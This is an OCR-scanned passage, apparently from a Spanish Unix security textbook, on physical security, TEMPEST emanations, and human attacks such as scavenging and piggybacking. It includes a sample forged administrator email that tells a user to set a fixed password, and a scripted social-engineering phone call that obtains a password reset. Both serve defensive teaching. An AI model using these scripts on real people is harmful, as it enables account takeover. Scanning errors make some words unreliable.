pero que no tiene mucho que ver con el nivel fisico: el uso de aplicaciones de cifrado para realizar 
las comunicaciones o el almacenamiento de la information (hablaremos mas adelante de algunas de 
ellas). Tampoco debemos descuidar las tomas de red libres, donde un intruso con un portatil puede 
conectarse para capturar trafico; es recomendable analizar regularmente nuestra red para verificar 
que todas las maquinas activas estan autorizadas. 

Como soluciones igualmente efectivas contra la intercept acion a nivel fisico podemos citar el uso de 
dispositivos de cifra (no simples programas, sino hardware), generalmente chips que implementan 
algoritmos como DES; esta solucion es muy poco utilizada en entornos de I+D, ya que es muchisimo 
mas cara que utilizar implementaciones software de tales algoritmos y en muchas ocasiones la unica 
diferencia entre los programas y los dispositivos de cifra es la velocidad. Tambien se puede utilizar, 
como solucion mas cara, el cableado en vacio para evitar la interceptacion de clatos que viajan por 
la red: la idea es situar los cables en tubos donde artificialmente se crea el vacio o se inyecta aire 
a presion; si un atacante intenta ‘pinchar’ el cable para interceptar los datos, rompe el vacio o el 
nivel de presion y el ataque es cletectado inmediatamente. Como decimos, esta solucion es enor- 
memente cara y solamente se aplica en redes de perimetro reducido para entornos de alta seguridad. 

Antes de finalizar este punto debemos recordar un peligro que muchas veces se ignora: el de la 
interceptacion de datos emitidos en forma de sonido o simple ruido en nuestro entorno de operacio- 
nes. Imaginemos una situation en la que los responsables de la seguridad de nuestra organization 
se reunen para discutir nuevos mecanismos de protection; todo lo que en esa reunion se diga puede 
ser capturado por multitud de metodos, algunos de los cuales son tan simples que ni siquiera se 
contemplan en los planes de seguridad. Por ejemplo, una simple tarjeta de sonido instalada en un 
PC situado en la sala de reuniones puede transmitir a un atacante todo lo que se diga en esa reu- 
nion; mucho mas simple y sencillo: un telefono mal colgado - intencionada o inintencionadamente 
- tambien puede transmitir information muy util para un potential enemigo. Para evitar estos pro- 
blemas existen numerosos metodos: por ejemplo, en el caso de los telefonos hjos suele ser suficiente 
un poco de atencion y sentido comun, ya que basta con comprobar que estan bien colgados. . . o 
incluso desconectados de la red telefonica. El caso de los moviles suele ser algo mas complejo de 
controlar, ya que su pequeho tamaho permite camuflarlos facilmente; no obstante, podemos instalar 
en la sala de reuniones un sistema de aislamiento para bloquear el uso de estos telefonos: se trata 
de sistemas que ya se utilizan en ciertos entornos (por ejemplo en conciertos musicales) para evitar 
las molestias de un movil sonando, y que trabajan bloqueando cualquier transmision en los rangos 
de frecuencias en los que trabajan los diferentes operadores telefonicos. Otra medida preventiva (ya 
no para voz, sino para prevenir la fuga de datos via el ruido ambiente) muy util - y no muy cara - 
puede ser sustituir todos los telefonos hjos de disco por telefonos de teclado, ya que el ruido de un 
disco al girar puede permitir a un pirata cleducir el numero de telefono marcado desde ese aparato. 


2.3.2 Backups 

En este apartado no vamos a hablar de las normas para establecer una politica de realization de 
copias de seguridad correcta, ni tampoco de los mecanismos necesarios para implementarla o las 
precauciones que hay que tomar para que todo funcione correct amente; el tema que vamos a tratar 
en este apartado es la protection fisica de la information almacenada en backups, esto es, de la 
protection de los diferentes medios donde residen nuestras copias de seguridad. Hemos de tener 
siempre presente que si las copias contienen toda nuestra information tenemos que protegerlas igual 
que protegemos nuestros sistemas. 

Un error muy habitual es almacenar los dispositivos de backup en lugares muy cercanos a la sala de 
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operaciones, cuando no en la misma sala; esto, que en principio puede parecer correcto (y comodo si 
necesitamos restaurar unos archivos) puede convertirse en un problema: imaginemos simplemente 
que se produce un incendio de grandes dimensiones y todo el edificio queda reducido a cenizas. En 
este caso extremo tendremos que unir al problema de perder todos nuestros equipos que segura- 
mente cubrira el seguro, por lo que no se puede considerar una catastrofe - el perder tambien todos 
nuestros datos, tanto los almacenados en los discos como los guardados en backups (esto evidente- 
mente no hay seguro que lo cubra). Como podemos ver, resulta recomendable guardar las copias 
de seguridad en una zona alejada de la sala de operaciones, aunque en este caso descentralizemos la 
seguridad y tengamos que proteger el lugar clonde almacenamos los backups igual que protegemos 
la propia sala o los equipos situados en ella, algo que en ocasiones puede resultar caro. 

Tambien suele ser comiin etiquetar las cintas donde hacemos copias de seguridad con abundan- 
te informacion sobre su contenido (sistemas de ficheros almacenados, dia y hora de la realization, 
sistema al que corresponde. . . esto tiene una parte positiva y una negativa. Por un lado, recuperar 
un fichero es rapido: solo tenemos que ir leyendo las etiquetas hasta encontrar la cinta adecuada. 
Sin embargo, si nos paramos a pensar, igual que para un administrador es facil encontrar el backup 
deseado tambien lo es para un intruso que consiga acceso a las cintas, por lo que si el acceso a las 
mismas no esta bien restringido un atacante lo tiene facil para sustraer una cinta con toda nuestra 
informacion; no necesita saltarse nuestro cortafuegos, conseguir una clave del sistema o chantajear 
a un operador: nosotros mismos le estamos poniendo en bandeja toda nuestros datos. No obstante, 
ahora nos debemos plantear la duda habitual: si no etiqueto las copias de seguridad, $c6mo puedo 
elegir la que debo restaurar en un momento dado? Evidentemente, se necesita cierta informacion 
en cada cinta para poder clasificarlas, pero esa informacion nunca debe ser algo que le facilite la 
tarea a un atacante; por ejemplo, se puede disehar cierta codification que solo conozcan las personas 
responsables de las copias de seguridad, de forma que cada cinta vaya convenientemente etiquetada, 
pero sin conocer el codigo sea dificil imaginar su contenido. Aunque en un caso extremo el atacante 
puede llevarse todos nuestros backups para analizarlos uno a uno, siempre es mas dificil disimular 
una carretilla llena de cintas de 8mm que una pequena unidad guardada en un bolsillo. Y si aun 
pensamos que alguien puede sustraer todas las copias, simplemente tenemos que realizar backups 
cifrados. . . y controlar mas el acceso al lugar donde las guardamos. 

2.3.3 Otros elementos 

En muchas ocasiones los responsables de seguridad de los sistemas tienen muy presente que la in- 
formacion a proteger se encuentra en los equipos, en las copias de seguridad o circulando por la 
red (y por lo tanto toman medidas para salvaguardar estos medios), pero olvidan que esa infor- 
macion tambien puede encontrarse en lugares menos obvios, como listados de impresora, facturas 
telefonicas o la propia documentation de una maquina. 

Imaginemos una situation muy tipica en los sistemas Unix: un usuario, desde su terminal o el 
equipo de su despacho, imprime en el servidor un documento de cien paginas, documento que ya de 
entrada ningiin operador comprueba - y quizas no pueda comprobar, ya que se puede comprometer 
la privacidad del usuario - pero que puede contener, disimuladamente, una copia de nuestro fichero 
de contrasehas. Cuando la impresion finaliza, el administrador lleva el documento fuera de la sala 
de operaciones, pone como portada una hoja con los datos del usuario en la maquina ( login perfec- 
tamente visible, nombre del fichero, hora en que se lanzo. . . ) y lo cleja, junto a los documentos que 
otros usuarios han imprimido - y con los que se ha seguido la misma polftica - en una estanteria 
perdida en un pasillo, lugar al que cualquier persona puede acceder con total libertad y llevarse la 
impresion, leerla o simplemente curiosear las portadas de todos los documentos. Asi, de repente, 
a nadie se le escapan bastante problemas de seguridad derivados de esta polftica: sin entrar en lo 
que un usuario pueda imprimir que repetimos, quizas no sea legal, o al menos etico, curiosear 
cualquiera puede robar una copia de un proyecto o un examen 5 , obtener informacion sobre nuestros 

5 Evidentemente, si alguien imprime un examen de esta forma, no tenemos un problema con nuestra polftica sino 
con nuestros usuarios. 
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sistemas cle ficheros y las horas a las que los usuarios suelen trabajar, o simplemente clescubrir, 
simplemente pasando por delante de la estanteria, diez o veinte nombres validos de usuario en 
nuestras maquinas; todas estas informaciones pueden ser de gran utilidad para un atacante, que 
por si fuera poco no tiene que hacer nada para obtenerlas, simplemente darse un paseo por el lugar 
donde depositamos las impresiones. Esto, que a muchos les puede parecer una exageracion, no es ni 
mas ni menos la politica que se sigue en muchas organizaciones hoy en dia, e incluso en centros de 
proceso de datos, donde a priori ha de haber una mayor concienciacion por la seguridad informatica. 

Evidentemente, hay que tomar medidas contra estos problemas. En primer lugar, las impreso- 
ras, plotters , faxes, teletipos, o cualquier dispositivo por el que pueda salir informacion de nuestro 
sistema ha de estar situado en un lugar de acceso restringido; tambien es conveniente que sea de 
acceso restringido el lugar donde los usuarios recogen los documentos que lanzan a estos disposi- 
tivos. Seria conveniente que un usuario que recoge una copia se acredite como alguien autorizado 
a hacerlo, aunque quizas esto puede ser imposible, o al menos muy dificil, en grandes sistemas 
(imaginemos que en una maquina con cinco mil usuarios obligamos a todo aquel que va a reco- 
ger una impresion a identificarse y comprobamos que la identification es correcta antes de darle 
su documento. . . con toda seguridad necesitarfamos una persona encargada exclusivamente de este 
trabajo), siempre es conveniente demostrar cierto grado de interes por el destino de lo que sale por 
nuestra impresora: sin llegar a realizar un control ferreo, si un atacante sabe que el acceso a los 
documentos esta mmimamente controlado se lo pensara dos veces antes de intentar conseguir algo 
que otro usuario ha imprimido. 

Elementos que tambien pueden ser aprovechados por un atacante para comprometer nuestra segu- 
ridad son todos aquellos que revelen informacion de nuestros sistemas o del personal que los utiliza, 
como ciertos manuales (proporcionan versiones de los sistemas operativos utilizados), facturas de 
telefono del centro (pueden indicar los numeros de nuestros modems) o agendas de operadores (reve- 
lan los telefonos de varios usuarios, algo muy provechoso para alguien que intente efectuar ingenieria 
social contra ellos). Aunque es conveniente no clestruir ni dejar a la vista de todo el mundo esta 
informacion, si queremos eliminarla no podemos limitarnos a arrojar documentos a la papelera: en 
el capitulo siguiente hablaremos del basureo, algo que aunque parezca sacado de peliculas de espfas 
realmente se utiliza contra todo tipo de entornos. Es recomendable utilizar una trituradora de 
papel, dispositivo que dificulta muchisimo la reconstruction y lectura de un documento clestruido; 
por poco dinero podemos conseguir uno de estos aparatos, que suele ser suficiente para acabar con 
cantidades moderadas de papel. 


2.4 Radiaciones electromagneticas 

Dentro del apartado 2.3.1 podiamos haber hablado del acceso no autorizado a los datos a traves 
de las radiaciones que el hardware emite; sin embargo, este es un tema que ha cobrado especial 
importancia (especialmente en organismos militares) a rafz del programa tempest, un termino 
( Transient ElectroMagnetic Pulse Emanation STandard) que identifica una serie de estandares del 
gobierno estadounidense para limitar las radiaciones electricas y electromagneticas del equipamien- 
to electronico, desde estaciones de trabajo hasta cables de red, pasando por terminales, mainframes, 
ratones. . . 

La idea es sencilla: la corriente que circula por un conductor provoca un campo electromagnetico al- 
rededor del conductor, campo que varfa de la misma forma que lo hace la intensidad de la corriente. 
Si situamos otro conductor en ese campo, sobre el se induce una serial que tambien varia proporcio- 
nalmente a la intensidad de la corriente initial; de esta forma, cualquier dispositivo electronico (no 
solo el informatico) emite continuamente radiaciones a traves del aire o de conductores, radiaciones 
que con el equipo adecuado se pueden captar y reproducir remotamente con la consiguiente ame- 
naza a la seguridad que esto implica. Conscientes de este problema - obviamente las emisiones de 
una batidora no son peligrosas para la seguridad, pero si que lo pueden ser las de un dipositivo de 
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cifrado o las de un teclado desde el que se envi'en mensajes confidenciales - en la decada de los 50 
el gobierno de Estados Unidos introdujo una serie de estandares para reducir estas radiaciones en 
los equipos destinados a almacenar, procesar o transmitir information que pudiera comprometer la 
seguridad nacional. De esta forma, el hardware certificado tempest se suele usar con la information 
clasificada y confidencial de algunos sistemas gubernamentales para asegurar que el eavesdropping 
electromagnetico no va a afectar a privacidad de los datos. 

Casi medio siglo despues de las primeras investigaciones sobre emanaciones de este tipo, casi to- 
dos los paises desarrollados y organizaciones militares internacionales tienen programas similares a 
tempest con el mismo fin: proteger information confidencial. Para los gobiernos, esto es algo reser- 
vado a informaciones militares, nunca a organizaciones ‘normales’ y mucho menos a particulares (la 
NRO, National Reconnaissance Office , elimino en 1992 los estandares tempest para dispositivos 
de uso clomestico); sin embargo, y como ejemplo - algo extremo quizas - de hasta que punto un 
potencial atacante puede llegar a comprometer la information que circula por una red o que se 
lee en un monitor, vamos a dar aqui unas nociones generales sobre el problema de las radiaciones 
electromagneticas . 

Existen numerosos tipos de senales electromagneticas; sin duda las mas peligrosas son las de video 
y las de transmision serie, ya que por sus caracteristicas no es dificil interceptarlas con el equi- 
pamiento adecuado ([vE85] y [Smu90]). Otras senales que a priori tambien son faciles de captar, 
como las de enlaces por radiofrecuencia o las de redes basadas en infrarrojos, no presentan tantos 
problemas ya que desde un principio los disenadores fueron conscientes de la facilidad de captation 
y las amenazas a la seguridad que una captura implica; esta inseguridad tan palpable provoco la 
rapida aparicion de mecanismos implementados para dificultar el trabajo de un atacante, como el 
salto en frecuencias o el espectro disperso ([KMM95]), o simplemente el uso de protocolos cifrados. 
Este tipo de emisiones quedan fuera del alcance de tempest, pero son cubiertas por otro estandar 
denominado NONSTOP, tambien del Departamento de Defensa estadounidense. 

Sin embargo, nadie suele tomar precauciones contra la radiation que emite su monitor, su im- 
presora o el cable de su modem. Y son justamente las radiaciones de este hardware desprotegido las 
mas preocupantes en ciertos entornos, ya que lo linico que un atacante necesita para recuperarlas es 
el equipo adecuado. Dicho equipo puede variar desde esquemas extremadamente simples y baratos 
- pero efectivos - ([Hig88]) hasta complejos sistemas que en teoria utilizan los servicios de inte- 
ligencia de algunos paises. La empresa Consumertronics (www.tsc-global.com) fabrica y vende 
diversos dispositivos de monitorizacion, entre ellos el basado en [vE85], que se puede considerar uno 
de los pioneros en el mundo civil. 

Pero, icomo podemos protegernos contra el eavesdropping de las radiaciones electromagneticas 
de nuestro hardware ? Existe un amplio abanico de soluciones, desde simples medidas de prevention 
hasta complejos - y caros - sistemas para apantallar los equipos. La solution mas barata y simple 
que podemos aplicar es la distancia: las senales que se transmiten por el espacio son atenuadas 
conforme aumenta la separation de la fuente, por lo que si definimos un perimetro fisico de seguri- 
dad lo suficientemente grande alrededor de una maquina, sera dificil para un atacante interceptar 
desde lejos nuestras emisiones. No obstante, esto no es aplicable a las senales inducidas a traves 
de conductores, que aunque tambien se atenuan por la resistencia e inductancia del cableado, la 
perdida no es la suficiente para considerar seguro el sistema. 

Otra solution consiste en la confusion: cuantas mas senales existan en el mismo medio, mas 
dificil sera para un atacante filtrar la que esta buscando; aunque esta medida no hace imposible la 
interceptacion, si que la dificulta enormemente. Esto se puede conseguir simplemente manteniendo 
diversas piezas emisoras (monitores, terminales, cables. . . ) cercanos entre si y emitiendo cada una 
de ellas information diferente (si todas emiten la misma, facilitamos el ataque ya que aumentamos 
la intensidad de la serial inducida). Tambien existe hardware disenado explicitamente para crear 
ruido electromagnetico, generalmente a traves de senales de radio que enmascaran las radiaciones 
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emitidas por el equipo a proteger; dependiendo de las frecuencias utilizadas, quizas el uso de tales 
dispositivos pueda ser ilegal: en todos los paises el espectro electromagnetico esta dividido en ban- 
das, cada una de las cuales se asigna a un determinado uso, y en muchas de ellas se necesita una 
licencia especial para poder transmitir. En Espana estas licencias son otorgadas por la Secretaria 
General de Comunicaciones, dependiente del Ministerio de Fomento. 

Por ultimo, la solucion mas efectiva, y mas cara, consiste en el uso de dispositivos certificados que 
aseguran minima emision, asi como de instalaciones que apantallan las radiaciones. En el hardware 
hay dos aproximaciones principals para prevenir las emisiones: una es la utilization de circuitos 
especiales que apenas emiten radiacion (denominados de fuente eliminada, source suppressed), y 
la otra es la contention de las radiaciones, por ejemplo aumentando la atenuacion; generalmente 
ambas aproximaciones se aplican conjuntamente ([Swi92]). En cuanto a las instalaciones utilizadas 
para prevenir el eavesdropping, la idea general es aplicar la contention no solo a ciertos dispositivos, 
sino a un edificio o a una sala completa. Quizas la solucion mas utilizada son las jaulas de Faraday 
sobre lugares donde se trabaja con information sensible; se trata de separar el espacio en dos zonas 
electromagneticamente aisladas (por ejemplo, una sala y el resto del espacio) de forma que fuera 
de una zona no se puedan captar las emisiones que se producen en su interior. Para implementar 
esta solucion se utilizan materiales especiales, como algunas clases de cristal, o simplemente un 
recubrimiento conductor conectado a tierra. 

Antes de finalizar este punto quizas es recomendable volver a insistir en que todos los proble- 
mas y soluciones derivados de las radiaciones electromagneticas no son aplicables a los entornos o 
empresas normales, sino que estan pensados para lugares donde se trabaja con information altamen- 
te confidential, como ciertas empresas u organismos militares o de inteligencia. Aqui simplemente 
se han presentado como una introduction para mostrar hasta donde puede llegar la preocupacion 
por la seguridad en esos lugares. La radiacion electromagnetica no es un riesgo importante en la 
mayorfa de organizaciones ya que suele tratarse de un ataque costoso en tiempo y dinero, de forma 
que un atacante suele tener muchas otras puertas para intentar comprometer el sistema de una 
forma mas facil. 



Capftulo 3 

Administradores, usuarios y 
personal 

3.1 Introduction 

Con frecuencia se suele afirmar, y no es una exageracion ([And94]), que el punto mas clebil de cual- 
quier sistema informatico son las personas relacionadas en mayor o menor medida con el; desde un 
administrador sin una preparation adecuada o sin la suficiente experiencia, hasta un guardia de se- 
guridad que ni siquiera tiene acceso logico al sistema, pero que deja acceder a todo el mundo a la sala 
de operaciones, pasando por supuesto por la gran mayoria de usuarios, que no suelen conscientes de 
que la seguridad tambien les concierne a ellos. Frente a cada uno de estos grupos (administradores, 
usuarios y personal externo al sistema) un potencial atacante va a comportarse de una forma deter- 
minada para conseguir lograr sus objetivos, y sobre cada uno de ellos ha de aplicarse una politica de 
seguridad diferente: obviamente podemos exigir a un administrador de sistemas unos conocimientos 
mas o menos profundos de temas relacionados con la seguridad informatica, pero esos conocimientos 
lian de ser diferentes para el guardia de seguridad (sus conocimientos serian referentes a la segu- 
ridad fisica del entorno) , y se convierten en simples nociones basicas si se trata de un usuario medio. 

Hasta ahora hemos hablado de posibles ataques relacionados con el personal de un sistema in- 
formatico; sin embargo, existen otras amenazas a la seguridad provenientes de ese personal que 
no son necesariamente ataques en un sentido estricto de la palabra; en muchos casos no son in- 
tencionados, se podrfan catalogar como accidentes, pero el que la amenaza no sea intencionada no 
implica que no se deba evitar: decir ‘no lo hice a proposito ’ no va ayudar para nada a recuperar 
unos datos perdidos. En una sala de operaciones, las personas realizan acciones sobre los sistemas 
basandose - en muchos casos - unicamente en su apreciacion personal de lo que esta sucediendo; en 
esas circunstancias, dichas acciones pueden ser sorprendentes y devastadoras, incluso si provienen 
de los mejores y mas cuidadosos administradores ([CoIST99]). 


3.2 Ataques potenciales 

3.2.1 Ingenieria social 

La ingenieria social consiste en la manipulation de las personas para que voluntariamente realicen 
actos que normalmente no harian ([Fen99]); aunque a nadie le gusta ser manipulado, en algunos 
casos no es excesivamente perjudicial (por ejemplo un vendedor puede aplicar ingenieria social para 
conocer las necesidades de un cliente y ofrecer asi mejor sus productos), si las intenciones de quien la 
pone en practica no son buenas se convierte quizas el metodo de ataque mas sencillo, menos peligroso 
para el atacante y por desgracia en uno de los mas efectivos. Ese atacante puede aprovechar el 
desconocimiento de unas minimas medidas de seguridad por parte de personas relacionadas de una 
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u otra forma con el sistema para poder enganarlas en beneficio propio. Por ejemplo, imaginemos 
que un usuario de una maquina Unix recibe el siguiente correo electronico: 

From: Super-User <root@sistema. com> 

To: Usuario <user@sistema. com> 

Subject: Cambio de clave 
Hola, 

Para realizar una serie de pruebas orientadas a conseguir un optimo 
funcionamiento de nuestro sistema, es necesario que cambie su clave mediante 
la orden ’passwd 1 . Hasta que reciba un nuevo aviso (aproximadamente en una 
semana) , por favor, asigne a su contrasenya el valor ’PEPITO’ (en 
mayusculas) . 

Rogamos disculpe las molestias. Saludos, 

Administrador 

Si el usuario no sabe nada sobre seguridad, es muy probable que siga al pie de la letra las indi- 
caciones de este e-mail ; pero nadie le asegura que el correo no lraya sido enviado por un atacante 
- es muy facil camuflar el origen real de un mensaje que consigue asi un acceso al sistema: no 
tiene mas que enviar un simple correo, sin complicarse buscando fallos en los sistemas operativos o 
la red, para poner en juego toda la seguridad. Sin saberlo, y encima pensando que lo hace por el 
bien comiin, el usuario esta ayudando al pirata a romper todo el esquema de seguridad de nuestra 
maquina. 

Pero no siempre el atacante se aprovecha de la buena fe de los usuarios para lograr sus propositos; 
tampoco es extraiio que intente enganar al propio administrador del sistema 1 . Por ejemplo, ima- 
ginemos que la maquina tiene el puerto finger abierto, y el atacante detecta un nombre de usuario 
que nunca ha conectado al sistema; en este caso, una simple llamada telefonica puede bastarle para 
conseguir el acceso: 

[Administrador] Buenos dias, aqui area de sistemas, en que podemos 
ayudarle? 

[Atacante] Hola, soy Jose Luis Perez, llamaba porque no consigo 
recordar mi password en la maquina sistema.upv.es . 

[Administrador] Un momento, me puede decir su nombre de usuario? 

[Atacante] Si, claro, es jlperez. 

[Administrador] Muy bien, la nueva contrasena que acabo de asignarle 
es rudolf. Por favor, nada mas conectar, no olvide cambiarla. 

[Atacante] Por supuesto. Muchas gracias, ha sido muy amable. 

[Administrador] De nada, un saludo. 

Como podemos ver, estamos en la situation opuesta a la anterior: ahora es el root quien facilita la 
entrada del atacante en la maquina; lo liiiico que este ha necesitado es un nombre de usuario valido. 

Evidentemente, cualquier mensaje, llamada telefonica o similar que un usuario reciba debe ser 
puesto inmediatamente en conocimiento del administrador del sistema; hay que recordar a los 
usuarios que en ningun caso se necesita su contrasena para realizar tareas administrativas en la 
maquina. De la misma forma, si es el administrador quien directamente recibe algo parecido a lo 
que acabamos de ver, quizas sea conveniente notificar el hecho a los responsables de la organization, 
y por supuesto poner la maxima atencion en la seguridad de los sistemas involucrados, ya que en 
este caso se sabe a ciencia cierta que alguien intenta comprometer nuestra seguridad; en [Rad97] y 
[WD95] se muestran algunas de las reglas basicas que debemos seguir en nuestra organization para 
prevenir ataques de ingenieria social y tambien para, en el caso de que se produzcan, reducir al 
mfnimo sus efectos. 

1 Est o simplemente es para dar mas credibilidad, pero no es necesario que el usuario real no haya conectado en 
mucho tiempo. 
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Otro tipo de ataque relacionado con la ingenuidad de los usuarios del sistema (pero tambien con 
el control de acceso fisico) es el denominado shoulder surfing. Consiste en ‘espiar’ fisicamente a 
los usuarios, para obtener generalmente claves de acceso al sistema. Por ejemplo, una medida que 
lamentablemente utilizan muchos usuarios para recordar sus contrasenas es apuntarlas en un papel 
pegado al monitor de su PC o escribirlas en la parte de abajo del teclado; cualquiera que pase por 
delante del puesto de trabajo, sin problemas puede leer el login, password e incluso el nombre de 
maquina a la que pertenecen. Esto, que nos puede parecer una gran tonteria, por desgracia no 
lo es, y se utiliza mas de lo que muchos administradores o responsables de seguridad piensan; y 
no solo en entornos ‘privados’ o con un control de acceso restringido, como pueda ser una sala de 
operaciones de un centro de calculo, sino en lugares a los que cualquiera puede llegar sin ninguna 
acreditacion: personalmente, hace unos aiios pude leer claramente ‘post-it’ pegados a los monitores 
de los PCs utilizados por el personal de informacion de unos grandes almacenes de Valencia, en 
los que aparecian el nombre de usuario, la clave y el telefono de varios sistemas de la empresa; 
cualquiera que se acercase al mostrador podia leer y memorizar esta informacion sin problemas. 

El shoulder surfing no siempre se ve beneficiado por la ingenuidad de los simples usuarios de 
un equipo; en determinadas ocasiones son los propios programadores (gente que teoricamente ha 
de saber algo mas sobre seguridad que el personal de administration o de atencion al publico) los 
que disenan aplicaciones muy susceptibles de sufrir ataques de este tipo. Por ejemplo, en ciertas 
aplicaciones - especialmente algunas que se ejecutan sobre MS Windows, y que son mas o menos 
antiguas - muestran claramente en pantalla las contrasenas al ser tecleadas. Cualquiera situado 
cerca de una persona que las esta utilizando puede leer claramente esa clave; un perfecto ejemplo 
de lo que NO se clebe hacer nunca. 


3.2.3 Masquerading 

El ataque denominado de masquerading o mascarada consiste simplemente en suplantar la identi- 
dad de cierto usuario autorizado de un sistema informatico o su entorno; esta suplantacion puede 
realizarse electronic ament e - un usuario utiliza para acceder a una maquina un login y password 
que no le pertenecen - o en persona. En este punto hablaremos brevemente de este ultimo caso, la 
suplantacion en persona, un ataque relativo tanto a la seguridad fisica del entorno de operaciones 
como a la seguridad del personal. 

La mascarada no es un ataque habitual en entornos normales; en estos, o bien existen areas de 
acceso semipublico, donde un atacante no tiene que hacer nada especial para conseguir acceso - y 
por tanto no cabe hablar de masquerading - o bien areas de acceso restringido pero controlado por 
el propio personal de la organization, como clespachos o laboratories. En este caso un ataque via 
mascarada no suele ser efectivo, ya que es muy facil detectar al intruso (otro tema seria si realmente 
se toma alguna medida al detectarlo o simplemente se le cleja seguir, ahi ya entraria en juego la 
formation de los usuarios) por tratarse de areas dentro de las cuales todo el personal ‘habitual’ se 
conoce. El masquerading es mas habitual en entornos donde existen controles de acceso fisico, y 
donde un intruso puede ‘enganar’ al dispositivo o persona - que realiza el control, por ejemplo con 
una tarjeta de identification robada que un lector acepta o con un carne falsificado que un guardia 
de seguridad da por bueno. 

Una variante del masquerading lo constituye el ataque denominado piggybacking , que consiste sim- 
plemente en seguir a un usuario autorizado hasta un area restringida y acceder a la misma gracias 
a la autorizacion otorgada a dicho usuario. Contra esto se deben aplicar las mismas medidas que 
contra la mascarada fisica: controles de acceso estrictos, y convenientemente verificados. Los ejem- 
plos de piggybacking son muy habituales: desde un atacante que se viste con un mono de trabajo y 
que carga con un pesado equipo informatico en la puerta de una sala de operaciones, para que justo 
cuando un usuario autorizado llegue le abra dicha puerta y le permita el acceso por delante del 
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guardia de seguridad, hasta la clasica anecdota que todos los auditores explican como suya, sobre 
el reconocedor de tarjetas inteligentes que abre la puerta de una sala pero que una vez abierta no se 
preocupa en contar cuantas personas la atraviesan, podriamos estar durante dias dando ejemplos 
de ataques exitosos utilizando la tecnica del piggybacking. 

3.2.4 Basureo 

La tecnica del basureo (en ingles, scavenging) esta relacionada tanto con los usuarios como con la 
seguridad fisica de los sistemas, de la que hemos hablado en el anterior capitulo; consiste en ob- 
tener informacion dejada en o alrededor de un sistema informatico tras la ejecucion de un trabajo 
([Par81]). El basureo puede ser fisico, como buscar en cubos de basura ( trashing , traducido tam- 
bien por basureo) listados de impresion o copias de documentos, o logico, como analizar buffers de 
impresoras, memoria liberada por procesos, o bloques de un disco que el sistema acaba de marcar 
como libres, en busca de informacion. 

Aunque esta tecnica no es muy utilizada en la mayoria de entornos, hemos de pensar que si un 
usuario tira a la basura documentos que proporcionen informacion sobre nuestro sistema, cualquier 
potencial atacante puede aprovechar esa informacion para conseguir acceder al equipo; algo tan 
simple como una factura en la que se especifiquen numeros de telefono o nombres (reales o de 
entrada al sistema) de usuarios puede convertirse en una valiosa informacion para un atacante. 
Ademas, en ocasiones ni siquiera es necesario andar revolviendo por los cubos de basura en busca 
de informacion comprometedora: la carencia de nociones basicas sobre seguridad informatica hace 
posible que los usuarios dejen al alcance de cualquiera informacion vital de cara a mantener un sis- 
tema seguro. Personalmente, en un aula de informatica de la Universidad Politecnica de Valencia 
encontre por casualidad una hoja de papel que estaba siendo utilizada a modo de alfombrilla para 
el raton; esta hoja era una carta personalizada que el director de la Escuela Tecnica Superior de 
Ingenieros Industrials habia enviado a cada alumno de esa escuela para informarles de sus nuevas 
claves de acceso a ciertos recursos de la universidad, ya que las anteriores habfan tenido que ser 
cambiadas porque un pirata las capture. Con esa sencilla hoja de papel (en la hgura 3.1 se muestra 
una copia - con los clatos importantes ocultos, en el original no hay nada ‘censurado’ -) cualquiera 
podria haber lefdo el correo de ese usuario, utilizar su acceso remoto de la universidad, curiosear 
en su expediente o participar en foros de asignaturas bajo la identidad del usuario atacado. 

Como hemos dicho el basureo no es un ataque habitual en organizaciones ‘normales’, simplemente 
porque los datos con los que estan trabajan no suelen ser de alta confidencialidad. De cualquier 
forma, si deseamos evitar problemas lo mas inmediato es utilizar una maquina trituradora de pa- 
pel (su precio no suele ser prohibitive, y la inversion quizas valga la pena) para destruir toda la 
documentation antes de arrojarla a la basura; incluso nos puede interesar contratar los servicios de 
companias dedicadas exclusivamente a la destruction de estos soportes. En el caso de sistemas de 
almacenamiento logico (discos, CD-ROMs, cintas. . . ) tambien es importante una correcta inutiliza- 
cion de los mismos para que un potencial atacante no pueda extraer informacion comprometedora; 
no suele ser suficiente el simple borrado del medio o un leve dano fisico (por ejemplo, partir un CD- 
ROM), ya que como comentaremos al hablar de recuperation de datos existen empresas capaces de 
extraer hasta el ultimo bit de un medio borrado o daiiado. Lo mas efectivo seria un borrado seguro, 
seguido de una destruction fisica importante que haga imposible la reconstruction del medio. 

3.2.5 Actos delictivos 

Bajo este nombre englobamos actos tipificados claramente como delitos por las leyes espaholas, 
como el chantaje, el soborno o la amenaza. Esto no implica que el resto de actividades no sean 
(o deban ser) delitos, sino simplemente que en la practica a nadie se le castiga ‘legalmente’ por 
pasear por una sala de operaciones en busca de claves apuntadas en teclados, pero si que se le 
puede castigar por amenazar a un operador para que le permita el acceso al sistema. 
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46116 MASIAS 
Valencia 


Por motives de se^uridad en el accesc a su cuenta en la 
UPV, asf como a aus riatos an baa© de datos oe Alumnado, le 
comunjco qua se ha procedido al cambio del password de oorrec, 
asi como a sj PIN. 


N jevo passworn de la cuenta de correo: 
Nuevo PIN acceso a Bases de Datos: 



Les rogamos disculpen las molestias que estos cambios le 
pueden ocasionar. 

Sin otro particuar, un aaludo 


El director de la E.T.S.I. Industria es 

/ * 

Foo: Eliseo G6me7-Senent Martinez 


Figura 3.1: El resultado de un basureo involuntario. 
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Por suerte, la naturaleza de la information con la que se trabaja en la mayor parte de entor- 
nos hace poco probable que alguien amenaze o chantajee a un operador para conseguir ciertos 
datos; al tratarse de information poco sensible, en la mayoria de situaciones los atacantes no llegan 
a estos extremos para acceder al sistema, sino que utilizan procedimientos menos arriesgados como 
la ingeniena social o la captura de datos que viajan por la red. No obstante, si en alguna ocasion 
nos encontramos en estas situaciones, siempre es conveniente la denuncia; aunque en principio po- 
damos ceder ante las presiones de un delincuente, hemos de tener presente que si mostramos cierta 
debilidad, una vez que este consiga sus propositos nada le va a impedir seguir amenazandonos o 
chantajeandonos para obtener mas information. Si actuamos con la suficiente discreccion, las au- 
toridades pueden facilmente llevar al individuo ante la justicia sin necesidad de grandes escandalos 
que pueden afectar gravemente a la imagen de nuestra organization. 


3.3 ^Que hacer ante estos problemas? 

La solution a problemas relacionados con el personal es con frecuencia mucho mas compleja que 
la de problemas de seguridad logica o seguridad de la red: mientras que un administrador puede 
aprovechar herramientas de seguridad, capacidades del sistema operativo, o cifrado de datos para 
prevenir ciertos ataques, es mucho mas dificil para el concienciar a los usuarios de unas minimas 
medidas de prevention o convencer a un guardia de seguridad de que solo deje acceder a la sala de 
operaciones a un numero restringido de personas. 

Generalmente los usuarios de maquinas Unix en entornos habituales son personas muy poco forma- 
